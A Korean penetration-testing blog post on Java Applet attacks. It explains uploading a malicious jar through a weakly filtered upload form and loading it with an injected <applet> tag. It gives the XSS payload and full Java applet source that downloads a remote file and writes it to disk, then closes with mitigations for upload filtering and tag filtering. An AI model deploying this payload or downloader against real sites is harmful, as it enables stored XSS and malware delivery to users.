Java Applet을 이용한 공격 방법들

웹 취약점에 대한 분석 시 주요 태그로 알려진 것들은 대다수 필터링 되어 있지만 간혹 빠지는 태그들이 있습니다. 그 중 오늘은 applet 태그에 대한 이야기를 하려합니다.

applet 태그는 웹에서 Java Applet을 이용하기 위해 object 태그와 함께 많이 사용되는 태그이죠. 이 applet 을 이용하여 다양한 형태의 공격을 수행할 수 있습니다. 신뢰하는 사이트 리스트에 포함된 곳에 악성 jar 파일이 업로드 되고, 외부에서 applet 태그를 이용하여 jar 호출 시 공격에 노출될 수도 있습니다.

공격자가 jar 파일 내 공격 구문을 사용하여 사용자에게 XSS를 하거나 개인정보를 탈취하는 등 여러가지 행위가 가능합니다.

Java Applet Attack

File Upload 구간 찾기

일단 테스트를 수행하는 Target Page 중 File Upload가 가능한 구간을 찾습니다. Jar 파일을 업로드하여 공격에 사용할 수 있도록 하는것이 좋습니다. (동일 도메인 or 신뢰하는 도메인일 경우 좋습니다.)

대체로 확장자나 헤더, 파일 정상 로드 여부 등을 확인하나 필터링이 부족한 경우 jar 파일을 업로드 할 수 있습니다.

XSS 가능 구간(<applet>,<object>) 찾기

이제 Target Page에서 XSS가 가능한 구간을 찾습니다. 우리는 applet, object 태그를 이용하여 Java Applet(jar) 을 불러와야 합니다. 물론 object 태그가 들어간 상태에서 이벤트 핸들러만 딱 들어가도 Stored XSS를 성공하지만, 더 재미있는 분석을 위해 원격지의 Applet 을 로드합니다.

  • Applet : <applet></applet>
    • 주요 속성(Attribute)
      • archive : jar 파일 위치 (XSS + code : jar 에서 시작할 class명)
      • width : 너비
      • height : 높이
  • Object : <object></object>
    • 주요 속성(Attribute)
      • archive : jar 파일 위치
      • classid : jar 에서 시작할 class 명
      • codetype : 코드의 Type / ex) application/java
      • width : 너비
      • height : 높이

공격코드: <applet archive="[Upload Directory]" code="xss.class"></applet>

Java Applet Attack 을 이용한 악성파일 다운로드

Applet의 기능을 이용하면 쉽게 파일을 다운로드 받을 수 있습니다.

아래와 같이 다운로드를 수행하는 Code를 작성 후 jar 형태로 만들어 업로드합니다.

import java.applet.*;
import java.awt.*;
import java.security.*;
import java.io.*;
import java.nio.channels.*;
import java.net.*;

public class xss extends Applet
{
  public final static String baseURL = "http://127.0.0.1/";
  /**
  * @param args
  */
  public void init(){
        
          //create buttons
          Button button1 = new Button("45");      
          /*
          * To change font of a button use
          * setFont(Font f) method.
          */
        
          Font myFont = new Font("Courier", Font.ITALIC,12);
          button1.setFont(myFont);
          add(button1);
          downloadFile("xss.html");

  }
  public String downloadFile(final String filename) {
          return (String)AccessController.doPrivileged(new PrivilegedAction() {
              public Object run() {      
                try {
                  URL finalURL = new URL(baseURL + filename);
                  ReadableByteChannel rbc = Channels.newChannel(finalURL.openStream());
                  URL appletDir = getCodeBase();
                  FileOutputStream fos = new FileOutputStream(appletDir.getPath() + "documents/"+ filename);
                  fos.getChannel().transferFrom(rbc, 0, 1 << 24);
                  return 1;
                } catch (Exception x) {
                  x.printStackTrace();
                  return null;
                }
              }
            });
  }
}

대응방안

File Upload 기능 시 비허용 확장자, 헤더에 대한 검사로직 추가

외부링크를 타는 경우도 많지만, 신뢰된 서비스에서 호출되는 Applet 을 위험성이 더 높습니다. 이를 해결하기 위해선 File Upload 구간에 확장자와 파일 헤더 등 비정상적인 파일의 업로드를 막아야하고 이를 쉽게 호출할 수 없도록 해야합니다. (Web Shell , File upload 취약점 해결 방법과 비슷합니다.)

XSS 대응

내부 서비스에서 일어나는 Applet Attack 은 XSS로부터 시작됩니다. 또한 XSS를 막기위해 여러가지 태그, 속성에 대해 필터링 하지만 <applet> 등 주요 공격에 사용되지 않는 태그들은 놓치는 경우가 많습니다. 이러한 태그를 사용할 수 없도록 필터링 하는것이 중요합니다.

사용자 입장에서의 대응

Applet을 통한 XSS 코드나 악성 페이지로 접근했을 시 즉각 행위가 일어나는 경우가 많지만, 사용자의 입력을 유도하거나 추가적인 악성코드 다운로드를 유도하는 경우도 있습니다.

일단 경고 팝업(신뢰하지 않는 사이트로부터 호출)이 떴을때 유심히 살펴보며 개인정보, 다운로드 등에 신중해야합니다.

Applet Attack 관련 내용과 추가로 SET을 이용하여 Applet을 사회공학 기법에 사용하는 내용도 있네요. 참고하시면 좋을 것 같습니다.

https://pentestlab.wordpress.com/tag/java-applet-attack/

Reference

  • https://pentestlab.wordpress.com/tag/java-applet-attack/
  • http://www.hahwul.com/2016/01/java-java-applet-simle-code-for-java.html